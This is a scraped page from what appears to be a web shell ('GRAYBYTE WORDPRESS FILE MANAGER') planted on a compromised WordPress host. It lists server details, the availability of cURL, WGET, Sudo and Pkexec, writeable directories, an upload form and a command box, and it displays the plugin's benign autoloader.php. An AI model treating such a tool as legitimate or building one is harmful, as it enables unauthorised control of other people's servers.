GRAYBYTE WORDPRESS FILE MANAGER4540

Server IP : 162.254.39.133 / Your IP : 216.73.216.176
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/aircyqqr/public_html/wp-content/plugins/elementskit-lite/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/aircyqqr/public_html/wp-content/plugins/elementskit-lite//autoloader.php
<?php
namespace ElementsKit_Lite;

defined( 'ABSPATH' ) || exit;

/**
 * ElementsKit_Lite autoloader.
 * Handles dynamically loading classes only when needed.
 *
 * @since 1.0.0
 */
class Autoloader {
	
	/**
	 * Run autoloader.
	 * Register a function as `__autoload()` implementation.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public static function run() {
		spl_autoload_register( array( __CLASS__, 'autoload' ) );
	}
	
	/**
	 * Autoload.
	 * For a given class, check if it exist and load it.
	 *
	 * @since 1.0.0
	 * @access private
	 * @param string $class Class name.
	 */
	private static function autoload( $class_name ) {

		// If the class being requested does not start with our prefix
		// we know it's not one in our project.
		if ( 0 !== strpos( $class_name, __NAMESPACE__ ) ) {
			return;
		}
		
		$file_name = strtolower(
			preg_replace(
				array( '/\b' . __NAMESPACE__ . '\\\/', '/([a-z])([A-Z])/', '/_/', '/\\\/' ),
				array( '', '$1-$2', '-', DIRECTORY_SEPARATOR ),
				$class_name
			)
		);

		// Compile our path from the corosponding location.
		$file = \ElementsKit_Lite::plugin_dir() . $file_name . '.php';
		
		// If a file is found.
		if ( file_exists( $file ) ) {
			// Then load it up!
			require_once $file;
		}
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
November 04 2025 19:54:15
aircyqqr / aircyqqr
0755
compatibility
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
config
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
core
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
helpers
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
languages
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
libs
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
modules
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
traits
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
widgets
--
September 24 2025 07:07:00
aircyqqr / aircyqqr
0755
.htaccess
0.124 KB
October 25 2025 08:03:35
aircyqqr / aircyqqr
0444
autoloader.php
1.223 KB
May 18 2022 20:49:00
aircyqqr / aircyqqr
0644
elementskit-lite.php
10.646 KB
September 24 2025 10:17:32
aircyqqr / aircyqqr
0644
plugin.php
18.504 KB
September 24 2025 10:17:32
aircyqqr / aircyqqr
0644
readme.txt
59.348 KB
September 24 2025 10:17:32
aircyqqr / aircyqqr
0644
wpml-config.xml
39.218 KB
April 23 2025 16:04:20
aircyqqr / aircyqqr
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF